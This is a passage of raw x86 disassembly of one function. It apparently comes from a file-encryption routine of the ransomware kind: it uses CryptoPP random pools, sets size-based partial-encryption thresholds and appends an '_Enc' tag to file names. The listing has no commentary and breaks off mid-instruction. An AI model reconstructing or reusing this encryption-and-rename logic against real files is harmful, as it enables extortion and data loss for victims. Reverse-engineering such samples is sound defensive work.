mov edi, dword [ebp - 0x1e8]
cmp edi, eax
jne 0x4107bc
xor al, al
mov byte [ebp - 0x1f7], 0
rep stosb byte es:[edi], al
mov edx, dword [ebp - 0x50]
cmp edx, 8
jb 0x411b60
mov ecx, dword [ebp - 0x64]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4107f0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411bab
push edx
push ecx
call fcn.00490c3c
add esp, 8
jmp 0x411b60
cmp dword [ebp - 0x284], 0
jne 0x410811
mov dword [ebp - 0x40], 0
jmp 0x410847
lea ecx, [ebp - 0x2d0]
call fcn.00437930
push dword [ebp - 0x284]
xor ecx, ecx
test al, al
lea eax, [ebp - 0x2d0]
cmove eax, ecx
mov dword [ebp - 0x40], eax
call fcn.004b1daa
xor ecx, ecx
add esp, 4
test eax, eax
mov eax, dword [ebp - 0x40]
cmovne eax, ecx
mov dword [ebp - 0x40], eax
push 2
push 0
lea ecx, [ebp - 0x2d0]
call fcn.00437a00
cmp dword [ebp - 0x40], 0
jne 0x410887
mov eax, dword [ebp - 0x2e8]
lea ecx, [ebp - 0x2e8]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
push esi
lea ecx, [ebp - 0x7c]
call fcn.004312d0
mov byte [ebp - 4], 0x19
cmp byte [0x5200e9], 0
jne 0x410989
cmp dword [ebp - 0x68], 8
lea ecx, [ebp - 0x7c]
mov esi, dword [ebp - 0x6c]
mov edx, esi
cmovae ecx, dword [ebp - 0x7c]
push 5
push str.__ID_
push 0
call fcn.0043b8d0
mov ecx, eax
mov dword [ebp - 0x450], 0
xor eax, eax
mov dword [ebp - 0x220], ecx
add esp, 0xc
mov word [ebp - 0x460], ax
cmp esi, ecx
mov dword [ebp - 0x44c], 7
lea eax, [ebp - 0x7c]
mov dword [ebp - 0x464], esi
cmovb ecx, esi
cmp dword [ebp - 0x68], 8
push ecx
cmovae eax, dword [ebp - 0x7c]
lea ecx, [ebp - 0x460]
push eax
call fcn.00436c20
or dword [ebp - 0x3b4], 0x40
mov edx, dword [ebp - 0x68]
cmp edx, 8
jb 0x41094b
mov ecx, dword [ebp - 0x7c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x410941
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411bab
push edx
push ecx
call fcn.00490c3c
add esp, 8
movups xmm0, xmmword [ebp - 0x460]
mov esi, dword [ebp - 0x44]
xor eax, eax
mov edi, dword [ebp - 0x3b8]
movups xmmword [ebp - 0x7c], xmm0
mov word [ebp - 0x460], ax
movq xmm0, qword [ebp - 0x450]
movq qword [ebp - 0x6c], xmm0
mov dword [ebp - 0x450], 0
mov dword [ebp - 0x44c], 7
mov eax, dword [ebp - 0x6c]
or edx, 0xffffffff
xor ecx, ecx
test eax, eax
je 0x4109b0
cmp dword [ebp - 0x68], 8
lea eax, [ebp - 0x7c]
cmovae eax, dword [ebp - 0x7c]
cmp word [eax + ecx*2], 0x2e
mov eax, dword [ebp - 0x6c]
cmove edx, ecx
inc ecx
cmp ecx, eax
jb 0x410995
cmp edx, 0xffffffff
je 0x410adb
cmp eax, edx
mov dword [ebp - 0x224], edx
mov dword [ebp - 0x49c], eax
lea ecx, [ebp - 0x7c]
cmovb edx, eax
cmp dword [ebp - 0x68], 8
cmovae ecx, dword [ebp - 0x7c]
sub eax, edx
mov dword [ebp - 0x6c], eax
lea eax, [eax*2 + 2]
push eax
lea eax, [ecx + edx*2]
push eax
push ecx
call fcn.004a8400
add esp, 0xc
lea edx, [ebp - 0x7c]
lea ecx, [ebp - 0x498]
push 0x4ff984
call fcn.00439b40
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x44], eax
add esp, 4
cmp ecx, eax
je 0x410a7e
mov edx, dword [ebp - 0x68]
cmp edx, 8
jb 0x410a4c
mov ecx, dword [ebp - 0x7c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x410a3f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411b88
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x44]
add esp, 8
mov dword [ebp - 0x6c], 0
xor ecx, ecx
mov dword [ebp - 0x68], 7
mov word [ebp - 0x7c], cx
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x7c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x6c], xmm0
mov dword [eax + 0x10], ecx
mov dword [eax + 0x14], 7
mov word [eax], cx
mov edx, dword [ebp - 0x484]
cmp edx, 8
jb 0x410abe
mov ecx, dword [ebp - 0x498]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x410ab4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411b88
push edx
push ecx
call fcn.00490c3c
add esp, 8
xor eax, eax
mov dword [ebp - 0x488], 0
mov dword [ebp - 0x484], 7
mov word [ebp - 0x498], ax
lea eax, [ebp - 0x7c]
push eax
lea ecx, [ebp - 0x3e8]
call fcn.004312d0
cmp dword [ebp - 0x3d4], 8
lea ecx, [ebp - 0x3e8]
mov eax, dword [ebp - 0x3d8]
cmovae ecx, dword [ebp - 0x3e8]
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0x3e8]
cmovae ecx, dword [ebp - 0x3e8]
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x3b8], 0
lea eax, [ecx + eax*2]
mov ecx, dword [ebp - 0x40]
mov edx, eax
sub edx, ecx
inc edx
shr edx, 1
cmp ecx, eax
cmova edx, dword [ebp - 0x44]
mov dword [ebp - 0x44], edx
test edx, edx
je 0x410b6a
nop
movzx eax, word [ecx]
push eax
call fcn.004b1508
mov ecx, dword [ebp - 0x40]
add esp, 4
mov word [ecx], ax
add ecx, 2
mov eax, dword [ebp - 0x3b8]
inc eax
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3b8], eax
cmp eax, dword [ebp - 0x44]
jne 0x410b40
movups xmm0, xmmword [ebp - 0x3e8]
xor eax, eax
mov edx, dword [ebp - 0x68]
movq xmm1, qword [ebp - 0x3d8]
movq qword [ebp - 0x48], xmm1
movq qword [ebp - 0x4a4], xmm1
mov dword [ebp - 0x3d8], 0
mov dword [ebp - 0x3d4], 7
mov word [ebp - 0x3e8], ax
movups xmmword [ebp - 0x130], xmm0
movups xmmword [ebp - 0x4b4], xmm0
cmp edx, 8
jb 0x410bf7
mov ecx, dword [ebp - 0x7c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x410be1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411b8d
push edx
push ecx
call fcn.00490c3c
movups xmm0, xmmword [ebp - 0x130]
add esp, 8
movq xmm1, qword [ebp - 0x48]
xor eax, eax
movq qword [ebp - 0x6c], xmm1
cmp byte [0x5200ed], 1
movups xmmword [ebp - 0x7c], xmm0
mov dword [ebp - 0x4a4], 0
mov dword [ebp - 0x4a0], 7
mov word [ebp - 0x4b4], ax
jne 0x411288
mov eax, dword [ebp - 0x3ac]
cmp eax, dword [0x52010c]
jb 0x410d8c
ja 0x410c4a
cmp edi, dword [0x520108]
jb 0x410d8c
push 0
lea eax, [ebp - 0x218]
mov ecx, esi
push eax
lea eax, [ebp - 0xbc]
push eax
lea edx, [ebp - 0xd4]
call fcn.0040b100
mov edx, dword [0x51fd58]
lea eax, [ebp - 0x7c]
add esp, 0xc
mov ecx, 0x51fd48
cmp dword [ebp - 0x68], 8
cmovae eax, dword [ebp - 0x7c]
push dword [ebp - 0x6c]
cmp dword [0x51fd5c], 8
push eax
cmovae ecx, dword [0x51fd48]
push 0
call fcn.0043b8d0
add esp, 0xc
cmp eax, 0xffffffff
je 0x41175e
sub esp, 0x18
mov byte [ebp - 0x49], 0
mov ecx, esp
push esi
call fcn.004312d0
push dword [0x520104]
lea eax, [ebp - 0x49]
push dword [0x520100]
lea edx, [ebp - 0x3c]
push eax
push dword [0x5200fc]
lea ecx, [ebp - 0x8c]
push dword [0x5200f8]
push 0
push 0
call fcn.0040dab0
add esp, 0x34
cmp byte [ebp - 0x49], 1
je 0x4117ec
push 0x4ff988
mov edx, esi
lea ecx, [ebp - 0x198]
call fcn.00439b40
add esp, 4
lea eax, [ebp - 0x198]
cmp dword [ebp - 0x184], 8
cmovae eax, dword [ebp - 0x198]
cmp dword [esi + 0x14], 8
jb 0x410d20
mov esi, dword [esi]
push eax
push esi
call fcn.004b59c6
mov edx, dword [ebp - 0x184]
add esp, 8
cmp edx, 8
jb 0x410d6a
mov ecx, dword [ebp - 0x198]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x410d60
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411b92
push edx
push ecx
call fcn.00490c3c
add esp, 8
xor eax, eax
mov dword [ebp - 0x188], 0
mov dword [ebp - 0x184], 7
mov word [ebp - 0x198], ax
jmp 0x4117ec
cmp eax, dword [0x520124]
jb 0x41125c
ja 0x410da6
cmp edi, dword [0x520120]
jb 0x41125c
cmp dword [ebp - 0x68], 8
lea eax, [ebp - 0x7c]
push dword [ebp - 0x6c]
cmovae eax, dword [ebp - 0x7c]
mov ecx, 0x51fd48
cmp dword [0x51fd5c], 8
mov edx, dword [0x51fd58]
cmovae ecx, dword [0x51fd48]
push eax
push 0
call fcn.0043b8d0
add esp, 0xc
cmp eax, 0xffffffff
je 0x411237
cmp dword [ebp - 0x3ac], 0
mov ecx, 1
mov dword [ebp - 0x40], 0
jl 0x410f3e
jg 0x410e08
cmp edi, 0x4e2000
jbe 0x410f3e
mov eax, dword [0x520128]
cmp eax, 1
je 0x410f3e
cdq
mov ecx, eax
mov eax, edx
mov edx, 0xfa000
mul edx
mov dword [ebp - 0x44], eax
mov eax, ecx
mov ecx, 0xfa000
mul ecx
mov ecx, dword [ebp - 0x44]
add ecx, edx
cmp dword [ebp - 0x3ac], ecx
jb 0x410e51
ja 0x410e41
cmp edi, eax
jbe 0x410e51
mov dword [ebp - 0x40], ecx
mov edi, eax
mov ecx, dword [0x520128]
jmp 0x410f32
mov eax, dword [0x520128]
cmp eax, 0x1e
jne 0x410e60
lea ecx, [eax - 0xa]
jmp 0x410e79
cmp eax, 0x14
jne 0x410e6a
lea ecx, [eax - 0xa]
jmp 0x410e79
xor ecx, ecx
cmp eax, 0xa
sete cl
lea ecx, [ecx*4 + 1]
mov eax, ecx
mov edx, 0xfa000
mul edx
cmp dword [ebp - 0x3ac], edx
jb 0x410e9a
ja 0x410ef9
cmp edi, eax
jbe 0x410e9a
mov edi, eax
mov dword [ebp - 0x40], edx
jmp 0x410f32
cmp ecx, 0x14
jne 0x410ea6
mov ecx, 0xa
jmp 0x410eb5
xor eax, eax
cmp ecx, 0xa
sete al
lea ecx, [eax*4 + 1]
mov eax, ecx
mov edx, 0xfa000
mul edx
cmp dword [ebp - 0x3ac], edx
jb 0x410ed3
ja 0x410ef9
cmp edi, eax
jbe 0x410ed3
mov edi, eax
mov dword [ebp - 0x40], edx
jmp 0x410f32
xor eax, eax
mov edx, 0xfa000
cmp ecx, 0xa
sete al
lea ecx, [eax*4 + 1]
mov eax, ecx
mul edx
cmp dword [ebp - 0x3ac], edx
jb 0x410f00
ja 0x410ef9
cmp edi, eax
jbe 0x410f00
mov edi, eax
mov dword [ebp - 0x40], edx
jmp 0x410f32
xor eax, eax
mov edx, 0xfa000
cmp ecx, 0xa
sete al
lea ecx, [eax*4 + 1]
mov eax, ecx
mul edx
cmp dword [ebp - 0x3ac], edx
jb 0x410f2d
ja 0x410ef9
cmp edi, eax
jbe 0x410f2d
mov edi, eax
mov dword [ebp - 0x40], edx
jmp 0x410f32
mov edi, 0xfa000
cmp ecx, 1
je 0x410f43
cmp ecx, 5
jne 0x410f46
jmp 0x410f43
mov edi, 0xfa000
add ecx, 0x32
push ecx
lea eax, [ebp - 0x218]
mov ecx, esi
push eax
lea eax, [ebp - 0xbc]
push eax
lea edx, [ebp - 0xd4]
call fcn.0040b100
add esp, 0xc
cmp byte [0x5200e9], 0
jne 0x4110f2
push esi
lea ecx, [ebp - 0x104]
call fcn.004312d0
push str._Enc
lea edx, [ebp - 0x104]
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x138]
call fcn.00439b40
add esp, 4
mov byte [ebp - 4], 0x1b
lea eax, [ebp - 0x138]
cmp dword [ebp - 0x124], 8
mov ecx, esi
cmovae eax, dword [ebp - 0x138]
cmp dword [esi + 0x14], 8
jb 0x410fbd
mov ecx, dword [esi]
push eax
push ecx
call fcn.004b59c6
add esp, 8
test eax, eax
jne 0x410fe7
cmp dword [ebp - 0x124], 8
lea eax, [ebp - 0x138]
push dword [ebp - 0x128]
cmovae eax, dword [ebp - 0x138]
jmp 0x410ffe
lea eax, [ebp - 0x104]
cmp eax, esi
je 0x411030
cmp dword [esi + 0x14], 8
mov eax, esi
jb 0x410ffb
mov eax, dword [esi]
push dword [esi + 0x10]
push eax
lea ecx, [ebp - 0x104]
call fcn.00436c20
lea eax, [ebp - 0x104]
cmp esi, eax
je 0x411030
cmp dword [ebp - 0xf0], 8
mov ecx, esi
push dword [ebp - 0xf4]
cmovae eax, dword [ebp - 0x104]
push eax
call fcn.00436c20
mov byte [ebp - 4], 0x1a
mov edx, dword [ebp - 0x124]
cmp edx, 8
jb 0x411074
mov ecx, dword [ebp - 0x138]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41106a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411b97
push edx
push ecx
call fcn.00490c3c
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x19
mov edx, dword [ebp - 0xf0]
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x124], 7
mov word [ebp - 0x138], ax
cmp edx, 8
jb 0x4110d5
mov ecx, dword [ebp - 0x104]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4110cb
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411b97
push edx
push ecx
call fcn.00490c3c
add esp, 8
xor eax, eax
mov dword [ebp - 0xf4], 0
mov dword [ebp - 0xf0], 7
mov word [ebp - 0x104], ax
sub esp, 0x18
mov ecx, esp
push esi
call fcn.004312d0
lea eax, [ebp - 0x3ad]
push eax
push dword [ebp - 0x40]
lea edx, [ebp - 0x3c]
push edi
push 0
push 0
lea ecx, [ebp - 0x8c]
call fcn.0040ba60
add esp, 0x2c
cmp byte [0x5200e9], 0
jne 0x4117ec
cmp byte [ebp - 0x3ad], 0
je 0x4117ec
cmp dword [esi + 0x14], 8
mov ecx, esi
jb 0x411141
mov ecx, dword [esi]
mov edi, dword [esi + 0x10]
mov edx, edi
push 4
push str._Enc
push 0
call fcn.0043b8d0
add esp, 0xc
cmp eax, 0xffffffff
je 0x4117ec
xor eax, eax
mov dword [ebp - 0x158], 0
mov word [ebp - 0x168], ax
mov ecx, esi
lea eax, [edi - 4]
mov dword [ebp - 0x154], 7
cmp edi, eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x3b8], edi
cmovb eax, edi
cmp dword [esi + 0x14], 8
jb 0x411198
mov ecx, dword [esi]
push eax
push ecx
lea ecx, [ebp - 0x168]
call fcn.00436c20
or dword [ebp - 0x3b4], 0x80
lea eax, [ebp - 0x168]
cmp dword [ebp - 0x154], 8
cmovae eax, dword [ebp - 0x168]
cmp dword [esi + 0x14], 8
jb 0x4111cb
mov esi, dword [esi]
push eax
push esi
call fcn.004b59c6
mov edx, dword [ebp - 0x154]
add esp, 8
cmp edx, 8
jb 0x411215
mov ecx, dword [ebp - 0x168]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41120b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411b9c
push edx
push ecx
call fcn.00490c3c
add esp, 8
xor eax, eax
mov dword [ebp - 0x158], 0
mov dword [ebp - 0x154], 7
mov word [ebp - 0x168], ax
jmp 0x4117ec
push 0
lea eax, [ebp - 0x218]
mov ecx, esi
push eax
lea eax, [ebp - 0xbc]
push eax
lea edx, [ebp - 0xd4]
call fcn.0040b100
add esp, 0xc
jmp 0x411776
push 0
lea eax, [ebp - 0x218]
mov ecx, esi
push eax
lea eax, [ebp - 0xbc]
push eax
lea edx, [ebp - 0xd4]
call fcn.0040b100
add esp, 0xc
cmp dword [ebp - 0x3ac], 0
jmp 0x411796
cmp byte [0x5200ec], 1
jne 0x41173e
mov eax, dword [ebp - 0x3ac]
cmp eax, dword [0x520124]
jb 0x41125c
ja 0x4112ad
cmp edi, dword [0x520120]
jb 0x41125c
cmp dword [ebp - 0x68], 8
lea eax, [ebp - 0x7c]
push dword [ebp - 0x6c]
cmovae eax, dword [ebp - 0x7c]
mov ecx, 0x51fd48
cmp dword [0x51fd5c], 8
mov edx, dword [0x51fd58]
cmovae ecx, dword [0x51fd48]
push eax
push 0
call fcn.0043b8d0
add esp, 0xc
cmp eax, 0xffffffff
je 0x411237
cmp dword [ebp - 0x3ac], 0
mov ecx, 1
mov dword [ebp - 0x40], 0
jl 0x411445
jg 0x41130f
cmp edi, 0x4e2000
jbe 0x411445
mov eax, dword [0x520128]
cmp eax, 1
je 0x411445
cdq
mov ecx, eax
mov eax, edx
mov edx, 0xfa000
mul edx
mov dword [ebp - 0x44], eax
mov eax, ecx
mov ecx, 0xfa000
mul ecx
mov ecx, dword [ebp - 0x44]
add ecx, edx
cmp dword [ebp - 0x3ac], ecx
jb 0x411358
ja 0x411348
cmp edi, eax
jbe 0x411358
mov dword [ebp - 0x40], ecx
mov edi, eax
mov ecx, dword [0x520128]
jmp 0x411439
mov eax, dword [0x520128]
cmp eax, 0x1e
jne 0x411367
lea ecx, [eax - 0xa]
jmp 0x411380
cmp eax, 0x14
jne 0x411371
lea ecx, [eax - 0xa]
jmp 0x411380
xor ecx, ecx
cmp eax, 0xa
sete cl
lea ecx, [ecx*4 + 1]
mov eax, ecx
mov edx, 0xfa000
mul edx
cmp dword [ebp - 0x3ac], edx
jb 0x4113a1
ja 0x411400
cmp edi, eax
jbe 0x4113a1
mov edi, eax
mov dword [ebp - 0x40], edx
jmp 0x411439
cmp ecx, 0x14
jne 0x4113ad
mov ecx, 0xa
jmp 0x4113bc
xor eax, eax
cmp ecx, 0xa
sete al
lea ecx, [eax*4 + 1]
mov eax, ecx
mov edx, 0xfa000
mul edx
cmp dword [ebp - 0x3ac], edx
jb 0x4113da
ja 0x411400
cmp edi, eax
jbe 0x4113da
mov edi, eax
mov dword [ebp - 0x40], edx
jmp 0x411439
xor eax, eax
mov edx, 0xfa000
cmp ecx, 0xa
sete al
lea ecx, [eax*4 + 1]
mov eax, ecx
mul edx
cmp dword [ebp - 0x3ac], edx
jb 0x411407
ja 0x411400
cmp edi, eax
jbe 0x411407
mov edi, eax
mov dword [ebp - 0x40], edx
jmp 0x411439
xor eax, eax
mov edx, 0xfa000
cmp ecx, 0xa
sete al
lea ecx, [eax*4 + 1]
mov eax, ecx
mul edx
cmp dword [ebp - 0x3ac], edx
jb 0x411434
ja 0x411400
cmp edi, eax
jbe 0x411434
mov edi, eax
mov dword [ebp - 0x40], edx
jmp 0x411439
mov edi, 0xfa000
cmp ecx, 1
je 0x41144a
cmp ecx, 5
jne 0x41144d
jmp 0x41144a
mov edi, 0xfa000
add ecx, 0x32
push ecx
lea eax, [ebp - 0x218]
mov ecx, esi
push eax
lea eax, [ebp - 0xbc]
push eax
lea edx, [ebp - 0xd4]
call fcn.0040b100
add esp, 0xc
cmp byte [0x5200e9], 0
jne 0x4115f9
push esi
lea ecx, [ebp - 0x11c]
call fcn.004312d0
push str._Enc
lea edx, [ebp - 0x11c]
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x150]
call fcn.00439b40
add esp, 4
mov byte [ebp - 4], 0x1d
lea eax, [ebp - 0x150]
cmp dword [ebp - 0x13c], 8
mov ecx, esi
cmovae eax, dword [ebp - 0x150]
cmp dword [esi + 0x14], 8
jb 0x4114c4
mov ecx, dword [esi]
push eax
push ecx
call fcn.004b59c6
add esp, 8
test eax, eax
jne 0x4114ee
cmp dword [ebp - 0x13c], 8
lea eax, [ebp - 0x150]
push dword [ebp - 0x140]
cmovae eax, dword [ebp - 0x150]
jmp 0x411505
lea eax, [ebp - 0x11c]
cmp eax, esi
je 0x411537
cmp dword [esi + 0x14], 8
mov eax, esi
jb 0x411502
mov eax, dword [esi]
push dword [esi + 0x10]
push eax
lea ecx, [ebp - 0x11c]
call fcn.00436c20
lea eax, [ebp - 0x11c]
cmp esi, eax
je 0x411537
cmp dword [ebp - 0x108], 8
mov ecx, esi
push dword [ebp - 0x10c]
cmovae eax, dword [ebp - 0x11c]
push eax
call fcn.00436c20
mov byte [ebp - 4], 0x1c
mov edx, dword [ebp - 0x13c]
cmp edx, 8
jb 0x41157b
mov ecx, dword [ebp - 0x150]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x411571
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411ba1
push edx
push ecx
call fcn.00490c3c
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x19
mov edx, dword [ebp - 0x108]
mov dword [ebp - 0x140], 0
mov dword [ebp - 0x13c], 7
mov word [ebp - 0x150], ax
cmp edx, 8
jb 0x4115dc
mov ecx, dword [ebp - 0x11c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4115d2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411ba1
push edx
push ecx
call fcn.00490c3c
add esp, 8
xor eax, eax
mov dword [ebp - 0x10c], 0
mov dword [ebp - 0x108], 7
mov word [ebp - 0x11c], ax
sub esp, 0x18
mov ecx, esp
push esi
call fcn.004312d0
lea eax, [ebp - 0x3ad]
push eax
push dword [ebp - 0x40]
lea edx, [ebp - 0x3c]
push edi
push 0
push 0
lea ecx, [ebp - 0x8c]
call fcn.0040ba60
add esp, 0x2c
cmp byte [0x5200e9], 0
jne 0x4117ec
cmp byte [ebp - 0x3ad], 0
je 0x4117ec
cmp dword [esi + 0x14], 8
mov ecx, esi
jb 0x411648
mov ecx, dword [esi]
mov edi, dword [esi + 0x10]
mov edx, edi
push 4
push str._Enc
push 0
call fcn.0043b8d0
add esp, 0xc
cmp eax, 0xffffffff
je 0x4117ec
xor eax, eax
mov dword [ebp - 0x170], 0
mov word [ebp - 0x180], ax
mov ecx, esi
lea eax, [edi - 4]
mov dword [ebp - 0x16c], 7
cmp edi, eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3ac], edi
cmovb eax, edi
cmp dword [esi + 0x14], 8
jb 0x41169f
mov ecx, dword [esi]
push eax
push ecx
lea ecx, [ebp - 0x180]
call fcn.00436c20
or dword [ebp - 0x3b4], 0x100
lea eax, [ebp - 0x180]
cmp dword [ebp - 0x16c], 8
cmovae eax, dword [ebp - 0x180]
cmp dword [esi + 0x14], 8
jb 0x4116d2
mov esi, dword [esi]
push eax
push esi
call fcn.004b59c6
mov edx, dword [ebp - 0x16c]
add esp, 8
cmp edx, 8
jb 0x41171c
mov ecx, dword [ebp - 0x180]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x411712
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411ba6
push edx
push ecx
call fcn.00490c3c
add esp, 8
xor eax, eax
mov dword [ebp - 0x170], 0
mov dword [ebp - 0x16c], 7
mov word [ebp - 0x180], ax
jmp 0x4117ec
push 0
lea eax, [ebp - 0x218]
mov ecx, esi
push eax
lea eax, [ebp - 0xbc]
push eax
lea edx, [ebp - 0xd4]
call fcn.0040b100
add esp, 0xc
mov eax, dword [ebp - 0x3ac]
cmp eax, dword [0x520124]
jb 0x411794
ja 0x411776
cmp edi, dword [0x520120]
jb 0x411794
sub esp, 0x18
mov ecx, esp
push esi
call fcn.004312d0
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x8c]
call fcn.0040cd50
add esp, 0x18
jmp 0x4117ec
test eax, eax
jg 0x4117c0
jl 0x4117a2
cmp edi, 0x7d000
ja 0x4117c0
sub esp, 0x18
mov ecx, esp
push esi
call fcn.004312d0
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x8c]
call fcn.0040d5c0
add esp, 0x18
jmp 0x4117ec
sub esp, 0x18
mov ecx, esp
push esi
call fcn.004312d0
push 0x529508
push 0
push 0x7d000
push 0
push 0
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x8c]
call fcn.0040ba60
add esp, 0x2c
mov ecx, 0x18
lea eax, [ebp - 0xd4]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x4117f7
mov ecx, 0x18
lea eax, [ebp - 0xbc]
nop dword [eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x411810
mov ecx, 0x10
lea eax, [ebp - 0x8c]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x411826
mov ecx, 0x20
lea eax, [ebp - 0x3c]
nop dword [eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x411840
mov byte [ebp - 4], 0x17
mov edx, dword [ebp - 0x68]
cmp edx, 8
jb 0x411889
mov ecx, dword [ebp - 0x7c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41187f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411bab
push edx
push ecx
call fcn.00490c3c
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x14
mov edx, dword [ebp - 0xd8]
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x68], 7
mov word [ebp - 0x7c], ax
cmp edx, 0x10
jb 0x4118db
mov ecx, dword [ebp - 0xec]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4118d1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411bab
push edx
push ecx
call fcn.00490c3c
add esp, 8
lea ecx, [ebp - 0x2e8]
mov dword [ebp - 0xdc], 0
mov dword [ebp - 0xd8], 0xf
mov byte [ebp - 0xec], 0
call fcn.0040b040
mov byte [ebp - 4], 0x12
mov edx, dword [ebp - 0xa8]
cmp edx, 0x10
jb 0x41193f
mov ecx, dword [ebp - 0xbc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x411935
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411bab
push edx
push ecx
call fcn.00490c3c
add esp, 8
mov byte [ebp - 4], 0x11
mov edx, dword [ebp - 0xc0]
cmp edx, 0x10
jb 0x41197d
mov ecx, dword [ebp - 0xd4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x411973
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411bab
push edx
push ecx
call fcn.00490c3c
add esp, 8
mov byte [ebp - 4], 0x1e
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x84]
cmp eax, ecx
mov edx, dword [ebp - 0x80]
mov edi, edx
cmovb ecx, eax
xor al, al
rep stosb byte es:[edi], al
push edx
call fcn.00467f90
mov ecx, dword [ebp - 0x1a0]
add esp, 4
mov dword [ebp - method.CryptoPP::AutoSeededRandomPool.virtual_0], vtable.CryptoPP::AutoSeededRandomPool.0
test ecx, ecx
je 0x4119be
mov eax, dword [ecx]
push 1
call dword [eax]
lea ecx, [ebp - 0x1e0]
call fcn.00408380
lea ecx, [ebp - 0x210]
call fcn.00408350
lea ecx, [ebp - 0x64]
call fcn.004049c0
jmp 0x411b60
lea ecx, [ebp - 0x2e8]
call fcn.0040b040
mov byte [ebp - 4], 0x12
mov edx, dword [ebp - 0xa8]
cmp edx, 0x10
jb 0x411a2a
mov ecx, dword [ebp - 0xbc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x411a20
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411bab
push edx
push ecx
call fcn.00490c3c
add esp, 8
mov byte [ebp - 4], 0x11
mov edx, dword [ebp - 0xc0]
cmp edx, 0x10
jb 0x411a68
mov ecx, dword [ebp - 0xd4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x411a5e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411bab
push edx
push ecx
call fcn.00490c3c
add esp, 8
mov byte [ebp - 4], 0x16
mov eax, dword [ebp - 0x88]
